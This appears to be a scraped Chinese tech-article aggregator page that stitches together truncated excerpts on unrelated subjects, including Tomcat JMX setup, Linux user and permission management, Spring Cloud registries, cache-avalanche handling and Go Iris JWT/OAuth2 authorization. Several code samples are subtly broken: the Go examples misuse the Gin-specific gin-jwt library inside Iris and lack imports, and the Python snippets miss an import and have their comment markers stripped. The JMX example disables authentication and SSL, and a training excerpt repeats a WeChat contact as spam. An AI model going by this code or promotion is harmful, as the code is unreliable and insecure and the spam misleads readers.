... Kylin 4.0版本引入了多项性能优化改进，包括智能Cube推荐、实时Cube构建以及增强的多表JOIN能力等。这些功能升级为Kylin Cube设计提供了更多可能性，并有助于进一步提高大数据查询效率。阅读该解析文章将帮助您紧跟项目发展步伐，利用最新技术优势优化现有解决方案。 2. 企业级大数据查询优化实战案例分享：某知名电商平台近日公开分享了一篇关于其运用Apache Kylin进行Cube设计优化的实战经验。文章详述了他们如何结合业务特点选择维度、度量及分区策略，成功提升了订单数据分析查询速度近30%。通过借鉴这一案例，您可以了解如何将理论知识转化为实际操作，解决自身业务中的查询性能瓶颈问题。 3. 深度探讨：大规模数据预计算模型的挑战与应对策略：一篇由行业专家撰写的深度分析文章，从宏观角度剖析了当前预计算模型面临的挑战，如存储成本、更新频率与查询响应之间的平衡问题，并引用了Apache Kylin Cube作为实例进行详细解读。阅读该文可加深对预计算模型内在机制的理解，为优化Kylin Cube设计提供更全面的视角和思路。 通过以上延伸阅读，您不仅能跟进Apache Kylin的最新进展，还能从实操案例和行业深度分析中汲取宝贵经验，从而更好地驾驭Kylin Cube设计优化，持续提升查询性能。

...，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。 介绍一下通过在线免费制图网站 Freedgo Design绘制各类图形的方法。 什么是 Freedgo Design？ Freedgo Design 是一in款在线绘制专业图形的网站。Freedgo Design可以绘制各种类型的图形，针对业务逻辑的流程图，软件设计ER模板，工作流，各种云平台的系统部署架构图包括阿里云、AWS云、腾讯云、Oracle、Asure云、IBM云平台等。 使用 用户通过浏览器访问网址：https://www.freedgo.com 点击在线制图，进入图形设计工具页面即可在线制图. 选择制图不同类型的图形，请点击页面下面 + 更多图形，选择相应的制图类型。如下图： 可以绘制哪些图表UML UML统一建模语言（英语：Unified Modeling Language，缩写 UML）,是一种开放的方法，用于说明、可视化、构建和编写一个正在开发的、面向对象的、软件密集系统的制品的开放方法。UML展现了一系列最佳工程实践，这些最佳实践在对大规模，复杂系统进行建模方面，特别是在软件架构层次已经被验证有效。 在UML系统开发中有三个主要的模型： 功能模型：从用户的角度展示系统的功能，包括用例图。 对象模型：采用对象，属性，操作，关联等概念展示系统的结构和基础，包括类别图、对象图。 动态模型：展现系统的内部行为。包括序列图，活动图，状态图。 通过Freedgo Desgin 可以绘制各类UML图表，包括 UML 用例图 UML 类图 UML 时序图 UML 活动图 UML 泳道图 点击页面下面 + 更多图形，选择 商务/(业务建模) -> UML, 可以设计各类UML图表, 参见下图: 数据库ER模型 ER模型是在数据库设计中常用的数据建模工具，通常是用来描述实体的信息及实体与实体之前的关系。 在Freedgo Design提供了对ER模型的支持： 通过图标库 选择ER模型绘制数据库ER模型 通过菜单 调整图形 -> 插入 -> SQL... 导入sql DDL脚本创建数据库ER模型 BPMN模型设计 BPMN是业务流程建模与标记,是用于构建业务流程图的一种建模语言标准。 可以通过图标库 选择BPMN绘制BPMN模型 Archimate设计 Archimate是一种整合多种架构的一种可视化业务分析模型语言，属于架构描述语言（ADL）,它从业务、应用和技术三个层次（Layer），物件、行为和主体三个方面（Aspect）和产品、组织、流程、资讯、资料、应用、技术领域（Domain）来进行描述。 可以通过图标库 选择BPMN绘制BPMN模型 EPC设计 EPC是用于说明业务流程工作流，是进行业务工程设计的 SAP R/3 建模概念的重要组件。 可以通过图标库 选择EPC绘制EPC模型 流程图 流程图是流经一个系统的信息流、观点流或部件流的图形代表。在企业中，流程图主要用来说明某一过程。这种过程既可以是生产线上的工艺流程，也可以是完成一项任务必需的管理过程。 流程图是揭示和掌握封闭系统运动状况的有效方式。作为诊断工具，它能够辅助决策制定，让管理者清楚地知道，问题可能出在什么地方，从而确定出可供选择的行动方案。 流程图有时也称作输入-输出图。该图直观地描述一个工作过程的具体步骤。流程图对准确了解事情是如何进行的，以及决定应如何改进过程极有帮助。这一方法可以用于整个企业，以便直观地跟踪和图解企业的运作方式。 流程图使用一些标准符号代表某些类型的动作，如决策用菱形框表示，具体活动用方框表示。但比这些符号规定更重要的，是必须清楚地描述工作过程的顺序。流程图也可用于设计改进工作过程，具体做法是先画出事情应该怎么做，再将其与实际情况进行比较。 可以通过图标库 选择流程图绘制 UX设计 Freedgo Design提供一系列UX设计的制作,可以实现IOS，安卓，以及一系列页面设计的效果制图，下面简单说明：IOS android material Bootstrap 手机应用 网站应用 平面图 Freedgo Design可以绘制平面图包括建筑平面表，房屋平面表，房屋效果图设计,在图例中提供了家庭、办公、厨房、卫生间等等图例，具体可以登录在线制图网站，查看 图例 网络架构图 Freedgo Design 可以绘制各种网络拓扑图，和机架图。 云架构 Freedgo Design 提供了各类云架构的系统架构图、系统部署图，包括AWS架构，阿里云架构、腾讯云架构、IBM、ORACLE、Azure和Google云等等。AWS 阿里云架构 腾讯云架构 IBM架构 ORACLE架构 Azure架构 GOOGLE架构 工程 Freedgo Design 提供在线基本电气图设计、在线电气逻辑图设计、在线电路原理图设计、在线接线图设计 本篇文章为转载内容。原文链接：https://blog.csdn.net/weixin_39605997/article/details/109976987。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

...随着Bash 5.1版本的发布，新特性中引入了对数组元素的引用计数机制，这一改进有望更精细地控制内存分配，减少不必要的字符串复制带来的内存开销。这意味着未来的Shell脚本开发将拥有更强大的内建工具来防止所谓的“内存泄漏”。 同时，一些第三方工具如Valgrind和shellcheck等也被推荐用于检查和优化Shell脚本，它们能帮助开发者深入分析代码执行过程中的内存行为，找出并修复可能导致内存消耗异常的问题。 总之，尽管Shell脚本的内存管理通常较为隐蔽，但在现代IT基础设施中，我们应当更加重视此类脚本的性能优化，通过学习最新的技术动态、采用最佳实践及借助专业工具，确保Shell脚本在提升工作效率的同时，也能做到对系统资源的有效利用与保护。

...是晚上加班加到一半，服务器突然给你来个大错误，你却毫无头绪，干着急。 首先，咱们得搞清楚什么是JMX。JMX（Java Management Extensions）是一种标准的架构，用于管理和监控Java应用程序。这个功能让你可以通过MBeans（管理豆子）查看应用在运行时的各种情况，比如内存用得怎么样、线程都在干啥等等。对于像Tomcat这样的Web服务器，JMX简直就是个救星。它能让我们更清楚地知道服务器的状况，帮我们及时揪出并解决那些麻烦的问题。 但是，有时候这个“神”也会掉链子，尤其是在配置不当的情况下。今天咱们聊聊怎么搞定Tomcat里JMX监控连不上的烦人事儿。 2. 检查配置文件 先从最基础的地方入手吧——检查Tomcat的配置文件。在Tomcat的安装目录下，找到conf文件夹，打开catalina.sh（Linux/Mac）或catalina.bat（Windows）。我们需要确保其中包含了JMX相关的配置参数。通常，这些参数应该出现在文件的开头部分： bash JAVA_OPTS="$JAVA_OPTS -Dcom.sun.management.jmxremote -Dcom.sun.management.jmxremote.port=9010 -Dcom.sun.management.jmxremote.ssl=false -Dcom.sun.management.jmxremote.authenticate=false" 这段代码告诉JVM启动时加载一些系统属性，使得JMX服务能够正常运行。注意这里的端口号9010，这是JMX远程访问的端口。要是别的程序占用了这个端口，或者是防火墙不让访问，那JMX监控可就要闹脾气啦。 当然，这里只是个例子。实际配置可能会根据你的具体需求有所不同。比如，如果你需要启用SSL加密传输，就需要添加更多的配置项。另外，为了安全着想，还是开启身份验证功能吧，别直接设成false了。这样可以防止未授权访问。 3. 配置防火墙和端口 假设你已经正确设置了JMX相关参数，但还是无法连接到JMX服务，这时候就需要考虑网络层面的问题了。别忘了检查一下你的服务器防火墙设置，确保端口9010是开放的。 在Linux上，你可以使用以下命令查看当前的防火墙规则： bash sudo ufw status 如果端口没有开放，你需要添加一条新的规则： bash sudo ufw allow 9010 同样的，在Windows系统上，你也可以通过控制面板中的“Windows Defender 防火墙”来管理端口。 另外，如果你是在云平台上运行Tomcat，记得在云提供商的控制台里也开放相应的端口。比如，AWS的EC2实例需要在安全组中添加入站规则。 4. 使用JConsole进行测试 经过上面的步骤后，我们可以尝试用JConsole来连接看看。JConsole是一个图形化的JMX客户端工具，非常适合用来诊断和监控Java应用程序。 首先，确保你已经在本地安装了Java Development Kit (JDK)。然后，打开命令行窗口，输入以下命令启动JConsole： bash jconsole 启动后，你会看到一个界面，选择你的Tomcat进程ID（可以在任务管理器或ps -ef | grep tomcat命令中找到），点击“连接”按钮。要是没啥问题，你应该就能顺利打开JConsole的主界面，各种性能指标也都会一目了然地出现在你眼前。 如果连接失败，请检查控制台是否有错误提示。常见的问题包括端口被占用、防火墙阻塞、配置文件错误等。根据错误信息逐条排查，相信最终会找到问题所在。 5. 总结与反思 折腾了半天，终于解决了Tomcat JMX监控无法连接的问题。这个过程虽然有些曲折，但也让我学到了不少知识。比如说，我搞懂了JMX到底是怎么运作的，还学会了怎么设置防火墙和端口，甚至用JConsole来排查问题也变得小菜一碟了。 当然，每个人遇到的具体情况可能都不一样，所以在解决问题的过程中，多查阅官方文档、搜索社区问答是非常必要的。希望这篇文章能帮助大家少走弯路，更快地解决类似问题。

...，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。 文章目录 1 用户和用户标识号 1.1 用户 1.2 用户标识号 1.3 /etc/passwd文件 1.4 /etc/shadow文件 2 用户组和组标识号 2.1 用户组 2.2 用户组编号 2.3 /etc/group文件 3 用户管理 3.1 添加用户 3.1.1 useradd命令 3.1.2 adduser命令 3.2 修改用户信息：usermod 3.3 删除用户：userdel 3.4 修改用户密码：passwd 3.5 显示用户信息 3.6 用户间切换：su命令 3.7 受限的特权：sudo命令 4 用户组管理 4.1 添加用户组 4.1.1 addgroup命令 4.1.2 groupadd 4.2 修改用户组 4.3 删除用户组 5 权限管理 5.1 概述 5.1.1 权限组 5.1.2 基本权限类型 5.1.3 特殊权限 5.1.4 访问控制列表 5.2 改变文件所有者chown命令 5.3 改变文件所属组chgrp命令 5.4 设置权限掩码umask命令 5.5 修改文件访问权限 5.6 修改文件ACL：setfacl命令 5.7 查询文件的ACL 1 用户和用户标识号 1.1 用户 我们登录到Linux系统，使用的登录名和密码实际上就是用户的信息标识。 用户拥有账号、登录名、真实姓名、密码、主目录、默认shell等属性。 每个用户实际上代表了一组权限，而这些权限分别表示可以执行不同的操作，是能够获取系统资源的权限的集合。 1.2 用户标识号 Linux实际上并不直接认识用户的账号，而是查看用户标识号。 用户标识号（整数）： 0： root，超级用户。 1-499：系统用户，保证系统服务正常运行，一般不使用。 500-60000：普通用户，可登录系统，拥有一定的权限。管理员添加的用户在此范围内。 用户名和标识号不一定一一对应，Linux允许几个登录名对应同一个用户标识号。 系统内部管理进程和文件访问权限时使用用户标识号。 账号和标识号的对应关系在/etc/passwd文件中。 1.3 /etc/passwd文件 该文件所有者和所属组为root，除了root用户外只有读取的权限。 格式： 登录名：口令：用户标识号：组标识号：注释：用户主目录：Shell程序 登录名：同意系统中唯一，大小敏感。 口令：密码，root和用户可使用passwd命令修改。 用户标识号：唯一。 组标识号：每个用户可以同时属于多个组。 注释：相关信息，真实姓名、联系电话等。mail和finger等会使用这些信息。 用户主目录：用户登录后的默认工作目录。root为/root，一般用户在/home下。 Shell程序：登录后默认启动的Shell程序。 1.4 /etc/shadow文件 包含用户的密码和过期时间，只有root组可读写。 格式： 登录名：加密口令：最后一次修改时间：最小时间间隔：最大时间间隔：警告时间：密码禁用期：账户失效时间：保留字段 登录名：略。 加密口令：表示账户被锁定，！表示密码被锁定。其他的前三位表示加密方式。 最后一次修改时间：最近修改密码的时间，天为单位，1970年1月1日算起。 最小时间间隔：最小修改密码的时间间隔。 最大时间间隔：最长密码有效期，到期要求修改密码。 警告时间：密码过期后多久发出警告。 密码禁用期：密码过期后仍然接受的最长期限。 账号失效时间：账户的有效期，1970年1月1日算起，空串表示永不过期。 保留字段：保留将来使用。 2 用户组和组标识号 2.1 用户组 用户组指，一组权限和功能相类似的用户的集合。 Linux本身预定义了许多用户组，包括root、daemon、bin、sys等，用户可根据需要自行添加用户组。 用户组拥有组名、组标识号、组成员等属性。 2.2 用户组编号 Linux内部通过组标识号来标识用户组。 用户组信息保存在 /etc/group 中。 2.3 /etc/group文件 格式：组名：口令：组标识符：成员列表 /etc/passwd文件指定的用户组在/etc/group中不存在则无法登录。 3 用户管理 3.1 添加用户 3.1.1 useradd命令 命令： useradd [option] 登录名 option参数自行查阅。 一般加-m创建目录。 3.1.2 adduser命令 adduser [option] user 如果没有指定–system和–group选项，则创建普通用户。 否则创建系统用户或用户组。 3.2 修改用户信息：usermod 命令： usermod [option] 用户名 具体选项信息自行查阅。 3.3 删除用户：userdel 命令： userdel [option] 用户名 -f：强制删除（谨慎使用） -r：主目录中的文件一并删除。 3.4 修改用户密码：passwd 命令： passwd [option] 登录名 3.5 显示用户信息 命令： id [option] [用户] 3.6 用户间切换：su命令 命令： su [option] [用户名] 用户名为 - ，则切换到root用户。 3.7 受限的特权：sudo命令 sudo使得用户可以在自己的环境下，执行需要root权限的命令。 该信息保存在/etc/sudoers中。 4 用户组管理 4.1 添加用户组 4.1.1 addgroup命令 类似adduser 4.1.2 groupadd 类似useradd 4.2 修改用户组 类似usermod，使用groupmod。 4.3 删除用户组 类似userdel，使用groupdel。 5 权限管理 5.1 概述 5.1.1 权限组 一般创建文件的人为所有者，其所属的主组为所属组，其他用户为其他组。 5.1.2 基本权限类型 三种：读、写、执行。 权限及其表示值： 读：r或4 写：w或2 执行：x或1 5.1.3 特殊权限 setuid、setgid和黏滞位。 setuid和setgid能以文件所有者或所属组的身份运行。 黏滞位使得只有文件的所有者才可以重命名和删除文件。 5.1.4 访问控制列表 访问控制表ACL可以针对某个用户或者用户组单独设置访问权限。 5.2 改变文件所有者chown命令 命令： chown [option]...[owner][:[group]] file... 5.3 改变文件所属组chgrp命令 用户不受文件的文件主或超级用户不能修改组。 5.4 设置权限掩码umask命令 文件的权限为666-掩码 目录的权限为777-掩码 5.5 修改文件访问权限 命令： chmod [option]...mode[,mode]...file... “+”：增加权限 “-”：减少权限 “=”：设置权限 5.6 修改文件ACL：setfacl命令 命令： setfacl [option] file... 5.7 查询文件的ACL 命令： getfacl [文件名] 本篇文章为转载内容。原文链接：https://blog.csdn.net/qq_38262728/article/details/88686180。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

spring微服务：注册中心可以不用吗？可以直接调用Service层吗？ 1. 引言 在现代分布式系统架构设计中，Spring Cloud 微服务框架以其强大的功能和易用性赢得了开发者的青睐。当我们谈论微服务时，往往绕不开一个重要组件——注册中心。那么问题来了，在构建Spring Cloud微服务架构时，注册中心是否是必不可少的环节呢？我们是否可以直接通过远程调用来访问其他服务的Service层方法？ 1.1 注册中心的重要性 注册中心在微服务架构中的角色就像一个中央通讯录，例如Eureka、Consul或Nacos等，它们负责服务实例的注册与发现。当每个微服务启动后，它们就像一个个小员工，兴奋地跑到注册中心那报到，把自己的详细地址（也就是IP和端口）登记在册。这样一来，消费者服务这个“需求方”就可以像查电话簿一样，轻松找到生产者服务这个“供给方”的具体位置了。没有注册中心，各个服务之间的交互将变得异常复杂且难以管理。 java // Spring Cloud Eureka客户端配置示例 @Configuration @EnableEurekaClient public class EurekaClientConfig { } 2. 可以不用注册中心吗？ 答案是理论上可以，但实际上不推荐。 - 无注册中心方案：在没有注册中心的情况下，服务间通信需要硬编码或者使用配置中心存储服务实例地址。这种做法在服务数量不多，变动也不是很频繁的时候，勉勉强强还能对付过去。不过，一旦服务规模开始吹气球般地膨胀起来，或者需要灵活调整服务数量时，手动去管理这些服务之间的“牵一发动全身”的依赖关系，那就真的会让人头疼得不行，甚至很可能成为引发系统故障的罪魁祸首。 - 可用性挑战：没有注册中心意味着服务发现能力的缺失，无法实时感知服务实例的上线、下线以及健康状态的变化，这会直接影响系统的稳定性和高可用性。 3. 直接调用Service层？ 对于这个问题，从技术角度讲，直接跨服务调用Service层是可能的，但这并不符合微服务的设计原则。 - 侵入式调用：假设两个微服务A和B，如果服务A直接通过RPC或RESTful API的方式调用服务B的Service层方法，这就打破了微服务的边界，使得服务之间高度耦合。如果服务B的内部结构或者方式发生变动，那可能就像多米诺骨牌一样，引发一连串反应影响到服务A，这样一来，我们整个系统的维护保养和未来扩展升级就可能会遇到麻烦了。 java @Service public class ServiceA { @Autowired private RestTemplate restTemplate; public void callServiceB() { // 这里虽然可以实现远程调用，但不符合微服务的最佳实践 String serviceBUrl = "http://service-b/service-method"; ResponseEntity response = restTemplate.getForEntity(serviceBUrl, String.class); // ... } } - 面向接口而非实现：遵循微服务的原则，服务间的通信应当基于API契约进行，即调用方只关心服务提供的接口及其返回结果，而不应关心对方具体的实现细节。所以，正确的做法就像是这样：给各个服务之间设立明确、易懂的API接口，然后就像过家家一样，通过网关或者直接“喊话”调用这些接口来实现彼此的沟通交流。 4. 探讨与建议 在实践中，构建健康的微服务生态系统离不开注册中心的支持。它不仅简化了服务间的依赖管理和通信，也极大地提升了系统的健壮性和弹性。讲到直接调用Service层这事儿，乍一看在一些简单场景里确实好像省事儿不少，不过你要是从长远角度琢磨一下，其实并不利于咱们系统的松耦合和扩展性发展。 结论：即使面临短期成本或复杂度增加的问题，为了保障系统的长期稳定和易于维护，我们强烈建议在Spring Cloud微服务架构中采用注册中心，并遵循服务间通过API进行通信的最佳实践。这样才能充分发挥微服务架构的优势，让每个服务都能独立部署、迭代和扩展。

...sandra 4.0版本的发布（注：以实际发布时间为准）带来了许多性能优化和新特性，如增强的一致性、改进的查询引擎以及更友好的运维管理工具，这无疑为高效处理海量时序数据提供了更强有力的支持。 与此同时，随着边缘计算、5G技术的发展，物联网设备产生的实时时间序列数据呈爆炸式增长，对存储系统的需求也在不断提升。例如，某大型工业互联网平台采用Cassandra构建其分布式时序数据库，通过灵活设计分区键与排序列簇，成功实现了对数百万传感器数据的秒级写入与查询，大幅度提升了整体系统的响应速度与可靠性。 另外，业界对时序数据的分析与预测需求日渐增长，不少专家提倡结合流处理框架（如 Apache Kafka 和 Apache Flink）与Cassandra进行联动，实现实时数据分析与长期历史数据归档的无缝衔接。这种架构不仅能够满足业务对实时监控的需求，还能利用机器学习算法对时序数据进行深度挖掘，为企业决策提供有力支持。 总之，在实际应用中不断探索和完善Cassandra在时间序列数据处理中的设计方案，并紧跟行业发展趋势和技术进步，才能更好地发挥其在大数据时代的优势，解决日益复杂的数据存储与分析挑战。

...结果把收银台（也就是服务器）给挤爆了。缓存击穿就是说，某个特别火的数据，比如明星的生日这种，本来缓存里是有存的，但突然间缓存失效了或者被人删掉了。这样一来，所有想看这个数据的人的请求就会一股脑儿地涌向数据库，把数据库给挤爆了。这也就是所谓的“热点问题”。 想象一下，你正坐在电影院里等待电影开场，突然影院的空调坏了，所有人都涌向门口，这就像缓存雪崩。缓存击穿就跟你的最爱电影票被抢光了一样，大家都跑去买票，结果售票处就挤爆了。 2. 为什么会出现缓存雪崩？ 缓存雪崩通常发生在以下几个场景中： - 缓存过期时间设置相同：如果所有缓存数据的过期时间都设为同一时刻，那么当这一时刻到来时，所有的缓存都会同时失效，从而导致大量请求瞬间涌向数据库。 - 缓存服务宕机：如果缓存服务出现故障，所有依赖它的请求都会直接打到后端数据库上。 - 网络故障：网络问题也可能导致缓存失效，进而引发雪崩效应。 3. 如何防止缓存雪崩？ 防止缓存雪崩的方法有很多，这里我给大家分享几个实用的技巧： - 设置不同的过期时间：不要让所有的缓存数据在同一时刻失效，可以通过随机化过期时间来避免这种情况。 - 部署多级缓存架构：比如可以将MemCache作为一级缓存，Redis作为二级缓存，这样即使MemCache出现问题，还有Redis可以缓冲一下。 - 使用缓存降级策略：当缓存不可用时，可以暂时返回默认值或者降级数据，减少对数据库的冲击。 4. 代码示例 MemCache的使用与缓存雪崩预防 现在，让我们通过一些代码示例来看看如何使用MemCache以及如何预防缓存雪崩。 python import memcache 初始化MemCache客户端 mc = memcache.Client(['127.0.0.1:11211'], debug=0) def get_data(key): 尝试从MemCache获取数据 data = mc.get(key) if not data: 如果没有找到，则从数据库中获取 data = fetch_from_db(key) 设置缓存过期时间为随机时间，避免雪崩 mc.set(key, data, time=random.randint(60, 300)) return data def fetch_from_db(key): 模拟从数据库获取数据的过程 print("Fetching from database...") return "Data for key: " + key 示例调用 print(get_data('key1')) 在这个例子中，我们设置了缓存的过期时间为一个随机时间，而不是固定的某个时刻，这样就可以有效避免缓存雪崩的问题。 5. 什么是缓存击穿？ 接下来，我们聊聊缓存击穿。想象一下，你手头有个超级火的信息，比如说某位明星的新鲜事儿，这事儿火爆到不行，大伙儿都眼巴巴地等着第一时间瞧见呢！不过嘛，要是这个数据点刚好没在缓存里，或者因为某些原因被清理掉了，那所有的请求就都得直接去后台数据库那儿排队了。这样一来，缓存就起不到作用了，这种情况就叫“缓存击穿”。 6. 如何解决缓存击穿？ 解决缓存击穿的方法主要有两种： - 加锁机制：对于同一个热点数据，只允许一个请求去加载数据，其他请求等待该请求完成后再从缓存中获取数据。 - 预先加载：在数据被删除之前，提前将其加载到缓存中，确保数据始终存在于缓存中。 7. 代码示例 加锁机制防止缓存击穿 python import threading lock = threading.Lock() def get_hot_data(key): with lock: 尝试从MemCache获取数据 data = mc.get(key) if not data: 如果没有找到，则从数据库中获取 data = fetch_from_db(key) 设置缓存过期时间 mc.set(key, data, time=300) return data 示例调用 print(get_hot_data('hot_key')) 在这个例子中，我们引入了一个线程锁lock，确保在同一时刻只有一个请求能够访问数据库，其他请求会等待锁释放后再从缓存中获取数据。 结语 好了，今天的讲解就到这里。希望读完这篇文章，你不仅能搞清楚啥是缓存雪崩和缓存击穿，还能学到一些在实际操作中怎么应对的小妙招。嘿，记得啊，碰到技术难题别慌，多琢磨琢磨，多动手试试，肯定能搞定的！如果你还有什么疑问或者想了解更多细节，欢迎随时留言讨论哦！ 希望这篇文章能帮助到你，咱们下次见！

...，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。 我们不得不承认，python语言的迅速火爆，学习python的人越来越多，领域的就业竞争也越来越激烈。 我们都知道市面上有很多的python学习培训班，无论是线上的还是线下的，因为现在的社会发展速度非常快，加之今年疫情的影响，今年的就业形势非常严峻。在这样的情况下，很多人也就加入到了python的学习队伍中，同时也出现了许多培训机构。 但都说python的入门简单的，那我们还有必要去参加培训么？是不是自学就可以了呢？ 针对个人而言，参加培训还是自学，我们可以从这几个方面去考虑。 一、时间是否充裕 要先衡量一下我们每天可以投入学习的时间，是2个小时还是6个小时。比如作为职场在职人士，你有正式的工作要忙，没有太多的时间去自学。再比如你是个全职宝妈想要自学，那一定不比在校学生或者单身没有家庭负担的人时间充裕。最后，如果你的时间不是很紧张，并且又想快速的提高，最重要的是不怕吃苦，建议你可以联系维：762459510 ，那个真的很不错，很多人进步都很快，需要你不怕吃苦哦！大家可以去添加上看一下~ 二、自己是否有自制力 当我们有了充分的学习时间，我们还需要衡量一下，自己是否有自制力，没有良好的学习环境，我们也只能三天打鱼两天晒网，自学并不会有太好的成效。 三、是否可以制定系统的学习计划 自学时，我们通常会进行一些书籍的购买和线上免费的课程。免费的课程一般也只有体验课程，不会系统全面地进行讲解。而只是看书，那些晦涩难懂的语言，无人解释，看起来估计和天书差不多了。 四、自学了如何进行实践 python是一个需要学习一项技能后，马上就进行操作的语言，只有亲自的实践才能更快的学习精华。实践的课题我们应该从哪些地方找呢？ 如果以上都会成为你学习中的难点，那么我劝你最好还是去报个培训班来学习Python了。 幸运的是，我们身处信息时代，许多在线教育平台推出了由专业教师主讲的Python入门课程，注重实操，提升编程能力，自己动手就能写程序。最后，如果你的时间不是很紧张，并且又想快速的提高，最重要的是不怕吃苦，建议你可以联系维：762459510 ，那个真的很不错，很多人进步都很快，需要你不怕吃苦哦！大家可以去添加上看一下~ 写在最后，其实经过分析我们每个人心中也都有了答案，自学还是培训，首先需要确定自己的学习目标，是为了就业还是只是兴趣，时间是否充足。如果是想就业找工作，完全可以参加培训，培训最大的好处就是节省时间。节省时间最大的好处就是拥有比同龄人更多的竞争力，获得更多的机会。 自学的好处就是省钱，短期是节省了，损失了时间和机会。自学和培训对比，相同的起点和终点，同样能力的人付出的时间肯定不同。 如果是你，你会怎么选呢？ 本篇文章为转载内容。原文链接：https://blog.csdn.net/kj7762/article/details/119864246。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

...也在持续迭代中，最新版本引入了更多的API和优化，使得SVG操作更加灵活和强大。 此外，GitHub上也出现了许多优秀的开源项目，它们提供了丰富的示例和最佳实践，帮助开发者更好地理解和应用这些新技术。例如，一个名为“Vite-Snap-Demo”的项目，展示了如何在Vite项目中高效地集成Snap.svg，提供了从基础到高级的各种示例代码，非常适合初学者和进阶用户参考学习。 值得一提的是，随着Web标准的不断完善，越来越多的现代浏览器开始支持WebAssembly（Wasm）技术，这为Web应用带来了更高的性能潜力。在未来，我们可以期待看到更多利用Wasm进行图形渲染和动画处理的创新项目，从而进一步提升Web应用的用户体验。 总之，随着前端技术的不断发展，像Vite和Snap.svg这样的工具将会继续进化和完善，为开发者提供更多便利。同时，开源社区的支持和贡献也将成为推动这一进程的重要力量。希望开发者们能够紧跟技术趋势，不断探索和实践，创造出更加精彩和高效的Web应用。

...能科技，提供个性化的服务体验。 技术工具 1. CSS Grid 和 Flexbox：这两种布局模式在现代网页设计中发挥了关键作用，它们允许开发者创建更灵活、响应式的网格布局，无需依赖媒体查询，大大简化了跨设备设计流程。 2. Progressive Web Apps (PWA)：PWA结合了原生应用的高效性和Web应用的可访问性，提供快速加载、离线可用和推送通知等功能，成为移动优先设计中的重要组成部分。 3. 自动化测试与优化工具：随着网页性能和用户体验的重要性日益凸显，自动化测试工具如Lighthouse、PageSpeed Insights等被广泛应用于开发过程中，帮助开发者持续优化网页加载速度、可访问性等关键指标。 未来展望 尽管移动优先设计带来了诸多优势，但同时也面临着一些挑战，如如何平衡设计复杂度与性能优化、如何在满足多样化的设备需求的同时保持设计的一致性等。未来，随着技术的不断进步，预计会出现更多智能化的设计工具、更高效的数据分析手段，以及更深入的人工智能集成，以进一步提升移动优先设计的效率和效果。 移动优先设计不仅是对传统网页设计模式的革新，更是对用户体验至上的追求。面对未来，开发者需紧跟技术潮流，不断创新设计策略和技术应用，以应对不断变化的市场需求和用户期待。

...T，这样就不用老依赖服务器来存东西，也能确认用户的身份了。 代码示例：生成JWT go package main import ( "github.com/kataras/iris/v12" jwt "github.com/appleboy/gin-jwt/v2" ) func main() { app := iris.New() // 创建JWT中间件 jwtMiddleware, _ := jwt.New(&jwt.GinJWTMiddleware{ Realm: "test zone", Key: []byte("secret key"), Timeout: time.Hour, MaxRefresh: time.Hour, IdentityKey: "id", }) // 定义登录路由 app.Post("/login", jwtMiddleware.LoginHandler) // 使用JWT中间件保护路由 app.Use(jwtMiddleware.MiddlewareFunc()) // 启动服务 app.Listen(":8080") } 2.2 OAuth2：授权的守护者 OAuth2是一个授权框架，允许第三方应用获得有限的访问权限，而不需要提供用户名和密码。通过OAuth2，用户可以授予应用程序访问他们资源的权限，而无需共享他们的凭据。 代码示例：OAuth2客户端授权 go package main import ( "github.com/kataras/iris/v12" oauth2 "golang.org/x/oauth2" ) func main() { app := iris.New() // 配置OAuth2客户端 config := oauth2.Config{ ClientID: "your_client_id", ClientSecret: "your_client_secret", RedirectURL: "http://localhost:8080/callback", Endpoint: oauth2.Endpoint{ AuthURL: "https://accounts.google.com/o/oauth2/auth", TokenURL: "https://accounts.google.com/o/oauth2/token", }, Scopes: []string{"profile", "email"}, } // 登录路由 app.Get("/login", func(ctx iris.Context) { url := config.AuthCodeURL("state") ctx.Redirect(url) }) // 回调路由处理 app.Get("/callback", func(ctx iris.Context) { code := ctx.URLParam("code") token, err := config.Exchange(context.Background(), code) if err != nil { ctx.WriteString("Failed to exchange token: " + err.Error()) return } // 在这里处理token，例如保存到数据库或直接使用 }) app.Listen(":8080") } 3. 构建策略决策树 智能授权 现在，我们已经了解了JWT和OAuth2的基本概念及其在Iris框架中的应用。接下来，我们要聊聊怎么把这两样东西结合起来，搞出一棵基于策略的决策树，这样就能更聪明地做授权决定了。 3.1 策略决策树的概念 策略决策树是一种基于规则的系统，用于根据预定义的条件做出决策。在这个情况下，我们主要根据用户的JWT信息（比如他们的角色和权限）和OAuth2的授权状态来判断他们是否有权限访问某些特定的资源。换句话说，就是看看用户是不是有“资格”去看那些东西。 代码示例：基于JWT的角色授权 go package main import ( "github.com/kataras/iris/v12" jwt "github.com/appleboy/gin-jwt/v2" ) type MyCustomClaims struct { Role string json:"role" jwt.StandardClaims } func main() { app := iris.New() jwtMiddleware, _ := jwt.New(&jwt.GinJWTMiddleware{ Realm: "test zone", Key: []byte("secret key"), Timeout: time.Hour, MaxRefresh: time.Hour, IdentityKey: "id", IdentityHandler: func(c jwt.Manager, ctx iris.Context) (interface{}, error) { claims := jwt.ExtractClaims(ctx) role := claims["role"].(string) return &MyCustomClaims{Role: role}, nil }, }) // 保护需要特定角色才能访问的路由 app.Use(jwtMiddleware.MiddlewareFunc()) // 定义受保护的路由 